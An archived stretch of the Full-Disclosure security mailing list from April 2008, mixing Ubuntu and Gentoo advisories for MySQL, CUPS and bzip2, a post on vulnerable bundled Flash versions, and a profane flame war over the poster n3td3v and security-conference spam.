I expect my e-mail to be > directly looked at by the white house. Through signal intelligence, > the folks at GCHQ and NSA would see it and it would infulence others > who lurk on this list to take action. And for your information, thats > whats happened. > At first I thought, "How silly", but then I got to thinking about it..... I'll bet the NSA *does* monitor your communications. After all, spying is serious business. Those guys probably need an occasional laugh to break the tension. Monitoring your communications almost guarantees them a laugh every day. -- Paul Schmehl (pauls at utdallas.edu) Senior Information Security Analyst The University of Texas at Dallas http://www.utdallas.edu/ir/security/ From xploitable at gmail.com Wed Apr 2 22:17:43 2008 From: xploitable at gmail.com (n3td3v) Date: Wed, 2 Apr 2008 22:17:43 +0100 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: References: <200803211614.11815.atlas@r4780y.com> <4b6ee9310803221427s289092b1x5066e5f7ff61e17e@mail.gmail.com> <4b6ee9310803291008s459baecexd33b982871045cf8@mail.gmail.com> <20605.1206932416@turing-police.cc.vt.edu> <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> <47F370E6.50301@gmail.com> <4b6ee9310804021326u61aabdafy48f785b8a029771b@mail.gmail.com> Message-ID: <4b6ee9310804021417t74f194e2xbb4f1923b20c830f@mail.gmail.com> On Wed, Apr 2, 2008 at 10:08 PM, Paul Schmehl wrote: > --On Wednesday, April 02, 2008 21:26:03 +0100 n3td3v > wrote: > > > > > No, it was sending signals to important people to take action to get > > it further pushed up the ladder. In no way do I expect my e-mail to be > > directly looked at by the white house. Through signal intelligence, > > the folks at GCHQ and NSA would see it and it would infulence others > > who lurk on this list to take action. And for your information, thats > > whats happened. > > > > At first I thought, "How silly", but then I got to thinking about it..... > > I'll bet the NSA *does* monitor your communications. After all, spying is > serious business. Those guys probably need an occasional laugh to break the > tension. Monitoring your communications almost guarantees them a laugh every > day. Why did you cut the link out from the guy who says "I have sent a plea for assistance to some of my contacts within the US government and hope others do as well to get this issue resolved." http://blog.securitynow.us/2008/03/19/storm-worm-russian-business-network-rbn/ And he isn't a nobody, http://blog.securitynow.us/about/ "I have worked as an employee and consultant to many large corporations (Fortune 500) and government agencies along with non-profit groups performing security auditing and and secure system/solution design and implementations." So suck you foo, n3td3v From security at casearmour.net Wed Apr 2 22:22:52 2008 From: security at casearmour.net (CaseArmour.net Security Administrator) Date: Wed, 02 Apr 2008 17:22:52 -0400 Subject: [Full-disclosure] Adobe Flash bundling vulnerabilities Message-ID: <1207171372.26948.1245737023@webmail.messagingengine.com> I'm noticing a disturbing trend of vulnerable versions of Flash (among other runtimes) being distributed with lots of different software, and the list now includes vendors such as Microsoft and -- Adobe. Adobe AIR up through the last Windows beta bundled a known-vulnerable version of Flash. I seem to have deleted my copy of the Beta 2 installer, so I can't confirm what version, but I believe it was a 9.x-series. The Windows AIR installer, AdobeAIRInstaller.exe (1.0.7.4880, md5sum 7F5646586EB25CEB2F5457B0BD144F59), presently available from the Adobe site, has been updated to include Flash 9.0 r115, or at least that's the version reported by the included Netscape plugin. In the future, I'm going to be very careful about installing Adobe products, on the occasions that I'm forced to. Microsoft, unfortunately, still bundles Flash 6.0.79.0 with, as far as I can tell, Windows XP, and every Windows XP service pack ever produced, up through the SP3 RC2 builds. Installing or slipstreaming a service pack on Windows XP installs the vulnerable Flash version, and installing a new Flash build from Adobe *does not* uninstall the vulnerable version. I didn't realize this until I was testing Secunia PSI on a newly-installed system. I'm not experienced enough with IE or Explorer internals to tell whether it's possible to convince a browser (or OutLook? or something else?) instance to render a malicious applet with the older version, but I wouldn't be surprised if it's possible. Even if it's not, I'm paranoid about the possibility of a remote, non-privileged login or other access being able to leverage the vulnerable Flash OCX. The install happens whether or not the XP system in question already includes a newer Flash build. From jamie at canonical.com Wed Apr 2 22:29:38 2008 From: jamie at canonical.com (Jamie Strandboge) Date: Wed, 2 Apr 2008 17:29:38 -0400 Subject: [Full-disclosure] [USN-588-2] MySQL regression Message-ID: <20080402212938.GA6848@severus.strandboge.com> =========================================================== Ubuntu Security Notice USN-588-2 April 02, 2008 mysql-dfsg-5.0 regression https://launchpad.net/bugs/209699 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: mysql-server-5.0 5.0.22-0ubuntu6.06.9 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: USN-588-1 fixed vulnerabilities in MySQL. In fixing CVE-2007-2692 for Ubuntu 6.06, additional improvements were made to make privilege checks more restictive. As a result, an upstream bug was exposed which could cause operations on tables or views in a different database to fail. This update fixes the problem. We apologize for the inconvenience. Original advisory details: Masaaki Hirose discovered that MySQL could be made to dereference a NULL pointer. An authenticated user could cause a denial of service (application crash) via an EXPLAIN SELECT FROM on the INFORMATION_SCHEMA table. This issue only affects Ubuntu 6.06 and 6.10. (CVE-2006-7232) Alexander Nozdrin discovered that MySQL did not restore database access privileges when returning from SQL SECURITY INVOKER stored routines. An authenticated user could exploit this to gain privileges. This issue does not affect Ubuntu 7.10. (CVE-2007-2692) Martin Friebe discovered that MySQL did not properly update the DEFINER value of an altered view. An authenticated user could use CREATE SQL SECURITY DEFINER VIEW and ALTER VIEW statements to gain privileges. (CVE-2007-6303) Luigi Auriemma discovered that yaSSL as included in MySQL did not properly validate its input. A remote attacker could send crafted requests and cause a denial of service or possibly execute arbitrary code. This issue did not affect Ubuntu 6.06 in the default installation. (CVE-2008-0226, CVE-2008-0227) Updated packages for Ubuntu 6.06 LTS: Source archives: http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.22-0ubuntu6.06.9.diff.gz Size/MD5: 155085 f8c7ef90adb69cf67cc6366612b63d48 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.22-0ubuntu6.06.9.dsc Size/MD5: 1114 d305551acc1c106afc8fcea708bf7748 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.22.orig.tar.gz Size/MD5: 18446645 2b8f36364373461190126817ec872031 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-client_5.0.22-0ubuntu6.06.9_all.deb Size/MD5: 38560 ba617aed9cc0de2b3ab0bb27e4b73208 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-common_5.0.22-0ubuntu6.06.9_all.deb Size/MD5: 41108 c5723e8875ec8ec61bc3e35d279b0785 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-server_5.0.22-0ubuntu6.06.9_all.deb Size/MD5: 38564 4c87c774aa76333f9b6ce71be03abd9e amd64 architecture (Athlon64, Opteron, EM64T Xeon): http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.22-0ubuntu6.06.9_amd64.deb Size/MD5: 6727828 250a0dc849c954205639795ead8c913c http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.22-0ubuntu6.06.9_amd64.deb Size/MD5: 1423476 81fa43f4bcdaa9721311dd9cd7977713 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.22-0ubuntu6.06.9_amd64.deb Size/MD5: 6897250 ee100a247642429c58c20cf501da925d http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.22-0ubuntu6.06.9_amd64.deb Size/MD5: 22493122 6c8dc59d6b0f8885bdc08e72f7aef6b6 i386 architecture (x86 compatible Intel/AMD): http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.22-0ubuntu6.06.9_i386.deb Size/MD5: 6141858 992e52adad73209d80bab70f7fb22d46 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.22-0ubuntu6.06.9_i386.deb Size/MD5: 1383980 fcbf70966d6875c053e30e153b610991 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.22-0ubuntu6.06.9_i386.deb Size/MD5: 6279892 cb5107c59d51513dc3b7d89ef64c2de1 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.22-0ubuntu6.06.9_i386.deb Size/MD5: 21351224 84fe07a8a90d1d7bdefcdfa8bf34bc55 powerpc architecture (Apple Macintosh G3/G4/G5): http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.22-0ubuntu6.06.9_powerpc.deb Size/MD5: 6885504 86e9ad51262265b596bf490ce3c46a2d http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.22-0ubuntu6.06.9_powerpc.deb Size/MD5: 1463828 6a87ebba2667b07ca253b7bc3772d91e http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.22-0ubuntu6.06.9_powerpc.deb Size/MD5: 6943956 f8630ffc208f766da49a1628076830b6 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.22-0ubuntu6.06.9_powerpc.deb Size/MD5: 22706410 6e44a8947af147ac14a15fdd66e80bfd sparc architecture (Sun SPARC/UltraSPARC): http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.22-0ubuntu6.06.9_sparc.deb Size/MD5: 6433916 dea5c30c9bc61cf362cfbb7cb692a280 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/libmysqlclient15off_5.0.22-0ubuntu6.06.9_sparc.deb Size/MD5: 1435924 5da529e0936388dc5584deb4155ba390 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-client-5.0_5.0.22-0ubuntu6.06.9_sparc.deb Size/MD5: 6538958 4e658a8fca75f30eeafbfff2a2bffa9c http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg-5.0/mysql-server-5.0_5.0.22-0ubuntu6.06.9_sparc.deb Size/MD5: 21972902 4d273677401e7896b4e65d8fc9996ce5 -------------- next part -------------- A non-text attachment was scrubbed... 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Background ========== bzip2 is a free and open source lossless data compression program. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 app-arch/bzip2 < 1.0.5 >= 1.0.5 Description =========== The Oulu University discovered that bzip2 does not properly check offsets provided by the bzip2 file, leading to a buffer overread. Impact ====== Remote attackers can entice a user or automated system to open a specially crafted file that triggers a buffer overread, causing a Denial of Service. libbz2 and programs linking against it are also affected. Workaround ========== There is no known workaround at this time. Resolution ========== All bzip2 users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=app-arch/bzip2-1.0.5" References ========== [ 1 ] CVE-2008-1372 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1372 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200804-02.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2008 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFH8/fIuhJ+ozIKI5gRAjfcAJ9wLqBQ+PQUFrcINyuefjpEXH9YggCgg5Ij 434KWguF4ipNmPXLhqN3rxs= =wki3 -----END PGP SIGNATURE----- From xploitable at gmail.com Wed Apr 2 23:33:50 2008 From: xploitable at gmail.com (n3td3v) Date: Wed, 2 Apr 2008 23:33:50 +0100 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conference spamming its fucking gay In-Reply-To: <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> Message-ID: <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> I don't want people to get angry about this, this is actually a serious issue that n3td3v has noticed, and those security guys who are subscribed to more than one mailing list will understand. Full-Disclosure, I want action taken on the *growing* amount of security conference spam. It used to be acceptable, but these days its becoming intolerable. I don't know who in the security community would setup a mailing list for security conferences to advertise and get feedback from, but I think one should be created. Gadi Evron might be able to set a security conference mailing list up? I don't know. Who else is into the mailing list creation business? For sure though, there is an issue with Securityfocus accepting security conference spam on their mailing lists, and its not even funny now. The security conferences spam lists like vuln-dev and pen-test and the Securityfocus boys still accept it onto the mailing list, even though its been already accepted on the big main mailing lists a day or so before. What happens is, folks who are good at security, and are subscribed to all the mailing lists, get an inbox flooded with duplicate security conference spam, and people aren't even interested. People may think this isn't a big issue, but it is for me and i've been in contact with people who agree with me, now let's take action now before we get more security conference spam in our mail boxes. Securityfocus, stop accepting every security conference e-mail onto *every* mailing list, i'm becoming increasingly angry. Now somethings got to be done about this, and i'm calling for security community support for this, as the growing number of security conferences grow every year, and the problem will only get bigger and bigger, so let's join as one to get this situation sorted. Forwarded conversation Subject: Let's outlaw mass security conference spamming its fucking gay ------------------------ From: *n3td3v* Date: Wed, Apr 2, 2008 at 4:06 AM To: n3td3v i'm sick of the security conferences spamming every single fucking security mailing list on the internet about their security conference, its getting out of hand now and there are more and more new conferences appearing by the month. isn't it about time there was a new mailing list just for advertsing and talking about security conferences, fucking hell. when you're subscribed to 20 or more mailing lists and each one is spammed with the exact same advert, it becomes a fucking pain in the fucking neck. someone create a mailing list for security conferences, i'm going off my head here!!! back in the day it was fine with getting e-mail once or twice a year about a security conference, but now there are so many being announced that these commercial venutres are creating their own unsolicited mail (SPAM) eco-system. i'm beginning to wonder when enough will be enough and a public outcry will take place. already i've shouted down those fucks from offensive-security.com for doing it, but i can't keep publically flagging-as-spam everytime because these mass-multi-mailing-list-announcements-are-happening-more-often-now-than-not. i would just end up sounding like a fucking parrot. fuck you security conferences you dick fucks, stop mass-mailing-everyone-is-subscribed-to-the-same-mailing-lists-no-need-to-spam-every-single-one-you-fucking-morons. no there won't be a n3td3v cyber security conference i can't be fucked anymore its a boring idea so die!!! why the fuck does securityfocus allow security conferences to spam every single last mailing list of theres? what the fuck!!! i'm going crazy with the security conference spam insanity!!! regards, n3td3v ---------- From: *Aaron Gray* Date: Wed, Apr 2, 2008 at 5:22 PM To: n3td3v at googlegroups.com Don't agree with the gay bashing header thats getting so boring. But "someone create a mailing list for security conferences" is a pritty sound idea. "i'm going off my head here!!!", aint you always... ---------- From: *n3td3v* Date: Wed, Apr 2, 2008 at 5:40 PM To: n3td3v at googlegroups.com Its not a reference to homosexuals. If they were non-commercial it would be fine, but what it amounts to is commercial spam the same as viagra etc. Back in the day it was only one or two conferences getting *mass* announced, but now there are tons of conferences and they keep sending their shit to every single e-mail list they can think of. Nope... only when I see security conferences being spammed on *every* mailing list possible. The result, about ten copies of the same e-mail sitting on my mail box, asking me to purchase a ticket or buy security training. This has to be nipped on the bud at the highest priority and urgency!!! Its SPAM, so let's not dress it up as something else... get these fucks blacklisted like the viagra spammers!!! regards, n3td3v -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080402/a039ab1a/attachment.html From ureleet at gmail.com Wed Apr 2 23:42:27 2008 From: ureleet at gmail.com (Ureleet) Date: Wed, 2 Apr 2008 18:42:27 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conference spamming its fucking gay In-Reply-To: <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> Message-ID: <6158bb410804021542l39618e7bnf1ad121023511ec8@mail.gmail.com> "Full-Disclosure, I want action taken on the *growing* amount of security conference spam." u do know that just because you demand or want action taken that it doesn't mean that such will take place right? stop trolling. From ureleet at gmail.com Wed Apr 2 23:46:34 2008 From: ureleet at gmail.com (Ureleet) Date: Wed, 2 Apr 2008 18:46:34 -0400 Subject: [Full-disclosure] n3td3v has a fan Message-ID: <6158bb410804021546q1bd945d4ydb0eb50c0e900aee@mail.gmail.com> you like him because he posts ur articles. you can have him. stop trolling. On Wed, Apr 2, 2008 at 5:17 PM, n3td3v wrote: > On Wed, Apr 2, 2008 at 10:08 PM, Paul Schmehl wrote: > > --On Wednesday, April 02, 2008 21:26:03 +0100 n3td3v > > wrote: > > > > > > > > No, it was sending signals to important people to take action to get > > > it further pushed up the ladder. In no way do I expect my e-mail to be > > > directly looked at by the white house. Through signal intelligence, > > > the folks at GCHQ and NSA would see it and it would infulence others > > > who lurk on this list to take action. And for your information, thats > > > whats happened. > > > > > > > At first I thought, "How silly", but then I got to thinking about it..... > > > > I'll bet the NSA *does* monitor your communications. After all, spying is > > serious business. Those guys probably need an occasional laugh to break the > > tension. Monitoring your communications almost guarantees them a laugh every > > day. > > Why did you cut the link out from the guy who says "I have sent a plea > > for assistance to some of my contacts within the US government and > hope others do as well to get this issue resolved." > http://blog.securitynow.us/2008/03/19/storm-worm-russian-business-network-rbn/ > > And he isn't a nobody, http://blog.securitynow.us/about/ > > "I have worked as an employee and consultant to many large > corporations (Fortune 500) and government agencies along with > non-profit groups performing security auditing and and secure > system/solution design and implementations." > > So suck you foo, > > n3td3v > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From xploitable at gmail.com Thu Apr 3 00:09:06 2008 From: xploitable at gmail.com (n3td3v) Date: Thu, 3 Apr 2008 00:09:06 +0100 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conference spamming its fucking gay In-Reply-To: <6158bb410804021542l39618e7bnf1ad121023511ec8@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <6158bb410804021542l39618e7bnf1ad121023511ec8@mail.gmail.com> Message-ID: <4b6ee9310804021609x6d0e9c86l91cfb79806be3f6d@mail.gmail.com> On Wed, Apr 2, 2008 at 11:42 PM, Ureleet wrote: > "Full-Disclosure, I want action taken on the *growing* amount of > security conference spam." > > u do know that just because you demand or want action taken that it > doesn't mean that such will take place right? > > stop trolling. I'm not trolling if I want a security conference mailing list setup so the rest of us don't need to suffer an inbox of 20 identical commerical *come to our conference, or, book our training*. This is a big issue, and if we dont create a mailing list for it, next year we won't have 20 duplicates per spam run, we'll have 40 per spam run. Imagine if n3td3v post to *every* mailing list and not just *one*, would you not get tired and frustrated? All the best, n3td3v From xploitable at gmail.com Thu Apr 3 00:13:53 2008 From: xploitable at gmail.com (n3td3v) Date: Thu, 3 Apr 2008 00:13:53 +0100 Subject: [Full-disclosure] n3td3v has a fan In-Reply-To: <6158bb410804021546q1bd945d4ydb0eb50c0e900aee@mail.gmail.com> References: <6158bb410804021546q1bd945d4ydb0eb50c0e900aee@mail.gmail.com> Message-ID: <4b6ee9310804021613n628cd00bj706125788bff60de@mail.gmail.com> On Wed, Apr 2, 2008 at 11:46 PM, Ureleet wrote: > you like him because he posts ur articles. > > you can have him. > > stop trolling. I'm the one at the forefront of security trying to make a difference, and what are you? He supports me because of my cause to stop the Storm Worm, so what solutions have you got, instead of annoying everyone? From jamie at canonical.com Thu Apr 3 00:17:09 2008 From: jamie at canonical.com (Jamie Strandboge) Date: Wed, 2 Apr 2008 19:17:09 -0400 Subject: [Full-disclosure] [USN-598-1] CUPS vulnerabilities Message-ID: <20080402231709.GB6848@severus.strandboge.com> =========================================================== Ubuntu Security Notice USN-598-1 April 02, 2008 cupsys vulnerabilities CVE-2008-0047, CVE-2008-0053, CVE-2008-0882, CVE-2008-1373 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6.10 Ubuntu 7.04 Ubuntu 7.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: cupsys 1.2.2-0ubuntu0.6.06.8 Ubuntu 6.10: cupsys 1.2.4-2ubuntu3.3 Ubuntu 7.04: cupsys 1.2.8-0ubuntu8.3 Ubuntu 7.10: cupsys 1.3.2-1ubuntu7.6 In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: It was discovered that the CUPS administration interface contained a heap- based overflow flaw. A local attacker, and a remote attacker if printer sharing is enabled, could send a malicious request and possibly execute arbitrary code as the non-root user in Ubuntu 6.06 LTS, 6.10, and 7.04. In Ubuntu 7.10, attackers would be isolated by the AppArmor CUPS profile. (CVE-2008-0047) It was discovered that the hpgl filter in CUPS did not properly validate its input when parsing parameters. If a crafted HP-GL/2 file were printed, an attacker could possibly execute arbitrary code as the non-root user in Ubuntu 6.06 LTS, 6.10, and 7.04. In Ubuntu 7.10, attackers would be isolated by the AppArmor CUPS profile. (CVE-2008-0053) It was discovered that CUPS had a flaw in its managing of remote shared printers via IPP. A remote attacker could send a crafted UDP packet and cause a denial of service or possibly execute arbitrary code as the non-root user in Ubuntu 6.06 LTS, 6.10, and 7.04. In Ubuntu 7.10, attackers would be isolated by the AppArmor CUPS profile. (CVE-2008-0882) It was discovered that CUPS did not properly perform bounds checking in its GIF decoding routines. If a crafted GIF file were printed, an attacker could possibly execute arbitrary code as the non-root user in Ubuntu 6.06 LTS, 6.10, and 7.04. In Ubuntu 7.10, attackers would be isolated by the AppArmor CUPS profile. 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I have about 12 emails from YOU this morning, and every single one of them is talking about how you're busy contributing to this and that and the much hyped Storm worm crap. Please go do something, stop emailing everyone about how cool you are. On 03/04/2008, n3td3v wrote: > > On Wed, Apr 2, 2008 at 11:42 PM, Ureleet wrote: > > "Full-Disclosure, I want action taken on the *growing* amount of > > security conference spam." > > > > u do know that just because you demand or want action taken that it > > doesn't mean that such will take place right? > > > > stop trolling. > > > I'm not trolling if I want a security conference mailing list setup so > the rest of us don't need to suffer an inbox of 20 identical > commerical *come to our conference, or, book our training*. > > This is a big issue, and if we dont create a mailing list for it, next > year we won't have 20 duplicates per spam run, we'll have 40 per spam > run. > > Imagine if n3td3v post to *every* mailing list and not just *one*, > would you not get tired and frustrated? > > All the best, > > > n3td3v > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080403/7786e2da/attachment.html From ureleet at gmail.com Thu Apr 3 01:13:28 2008 From: ureleet at gmail.com (Ureleet) Date: Wed, 2 Apr 2008 20:13:28 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conference spamming its fucking gay In-Reply-To: <3a166c090804021556v7799dfc8n9202438920250548@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <6158bb410804021542l39618e7bnf1ad121023511ec8@mail.gmail.com> <3a166c090804021556v7799dfc8n9202438920250548@mail.gmail.com> Message-ID: <6158bb410804021713l4308360bp9b94e6390f782ebb@mail.gmail.com> lets look at it from a marketing point of view. not everyone is going to be on the conference mailing list. more people are going to be on security mailing lists. i understand your point of view, but it just wont work. Use common sense. On Wed, Apr 2, 2008 at 6:56 PM, n3td3v wrote: > > On Wed, Apr 2, 2008 at 11:42 PM, Ureleet wrote: > > "Full-Disclosure, I want action taken on the *growing* amount of > > security conference spam." > > > > u do know that just because you demand or want action taken that it > > doesn't mean that such will take place right? > > > > stop trolling. > > I'm not trolling if I want a security conference mailing list setup so > the rest of us don't need to suffer an inbox of 20 identical > commerical *come to our conference, or, book our training*. > > This is a big issue, and if we dont create a mailing list for it, next > year we won't have 20 duplicates per spam run, we'll have 40 per spam > run. > > Imagine if n3td3v post to *every* mailing list and not just *one*, > would you not get tired and frustrated? > > All the best, > > n3td3v > From ureleet at gmail.com Thu Apr 3 01:15:39 2008 From: ureleet at gmail.com (Ureleet) Date: Wed, 2 Apr 2008 20:15:39 -0400 Subject: [Full-disclosure] n3td3v has a fan In-Reply-To: <4b6ee9310804021613n628cd00bj706125788bff60de@mail.gmail.com> References: <6158bb410804021546q1bd945d4ydb0eb50c0e900aee@mail.gmail.com> <4b6ee9310804021613n628cd00bj706125788bff60de@mail.gmail.com> Message-ID: <6158bb410804021715l29dafd00i1ba25ca63eb723bd@mail.gmail.com> you are the one bragging about making a difference, all i see is you being annoying. but i don't know ur full history on the mailing list, but from what i see, its not very positive. and am i annoying everyone? or just you. speaking about stopping the storm worm and trying to stop the storm worm are two different things. On Wed, Apr 2, 2008 at 7:13 PM, n3td3v wrote: > On Wed, Apr 2, 2008 at 11:46 PM, Ureleet wrote: > > you like him because he posts ur articles. > > > > you can have him. > > > > stop trolling. > > I'm the one at the forefront of security trying to make a difference, > and what are you? He supports me because of my cause to stop the Storm > Worm, so what solutions have you got, instead of annoying everyone? > -------------- next part -------------- An HTML attachment was scrubbed... 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What happens is, folks who > are good at security, and are subscribed to all the mailing lists, get an > inbox flooded with duplicate security conference spam, and people aren't > even interested. You only get duplicates if you're too unclued to de-dup based on Message-ID: -------------- next part -------------- A non-text attachment was scrubbed... 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I suggest we all take a moment to psycho-analyze this, rather than taking time out of our day to do our real jobs. ;) On Wed, Apr 2, 2008 at 10:17 PM, wrote: > On Wed, 02 Apr 2008 23:33:50 BST, n3td3v said: > > the big main mailing lists a day or so before. What happens is, folks who > > are good at security, and are subscribed to all the mailing lists, get an > > inbox flooded with duplicate security conference spam, and people aren't > > even interested. > > You only get duplicates if you're too unclued to de-dup based on Message-ID: > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From mlande at bellsouth.net Thu Apr 3 05:27:35 2008 From: mlande at bellsouth.net (Mary Landesman) Date: Thu, 3 Apr 2008 00:27:35 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conferencespamming its fucking gay In-Reply-To: References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com><4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com><4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com><27886.1207189079@turing-police.cc.vt.edu> Message-ID: <030b01c89543$0b481540$6401a8c0@maryl> Referring to oneself in the third person can be a symptom of identity confusion or identity alteration, a subset or trait of dissociation. In ancient times, it was referred to as demonic possession. Self-objectification is also a trait of narcissism, perhaps because narcissists love and feel empowered by (possession of) objects. And what better object for a narcissist to love than themselves, objectified? Other traits associated with narcissism are bragging, attention-seeking, delusions of grandeur, etc. In modern times, I believe it is sometimes referred to as being a bore. -- Mary -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Micheal Cottingham Sent: Wednesday, April 02, 2008 10:27 PM To: full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Let's outlaw mass security conferencespamming its fucking gay Am I the only one who is getting annoyed by n3td3v speaking in the third-person like he's an entity, rather than a single person? I suggest we all take a moment to psycho-analyze this, rather than taking time out of our day to do our real jobs. ;) On Wed, Apr 2, 2008 at 10:17 PM, wrote: > On Wed, 02 Apr 2008 23:33:50 BST, n3td3v said: > > the big main mailing lists a day or so before. What happens is, > folks who > are good at security, and are subscribed to all the > mailing lists, get an > inbox flooded with duplicate security > conference spam, and people aren't > even interested. > > You only get duplicates if you're too unclued to de-dup based on Message-ID: > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From pauls at utdallas.edu Thu Apr 3 05:40:53 2008 From: pauls at utdallas.edu (Paul Schmehl) Date: Wed, 02 Apr 2008 23:40:53 -0500 Subject: [Full-disclosure] Fwd: Let's outlaw mass security conferencespamming its fucking gay In-Reply-To: <030b01c89543$0b481540$6401a8c0@maryl> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> Message-ID: --On April 3, 2008 12:27:35 AM -0400 Mary Landesman wrote: > Referring to oneself in the third person can be a symptom of identity > confusion or identity alteration, a subset or trait of dissociation. In > ancient times, it was referred to as demonic possession. > > Self-objectification is also a trait of narcissism, perhaps because > narcissists love and feel empowered by (possession of) objects. And what > better object for a narcissist to love than themselves, objectified? > Other traits associated with narcissism are bragging, attention-seeking, > delusions of grandeur, etc. In modern 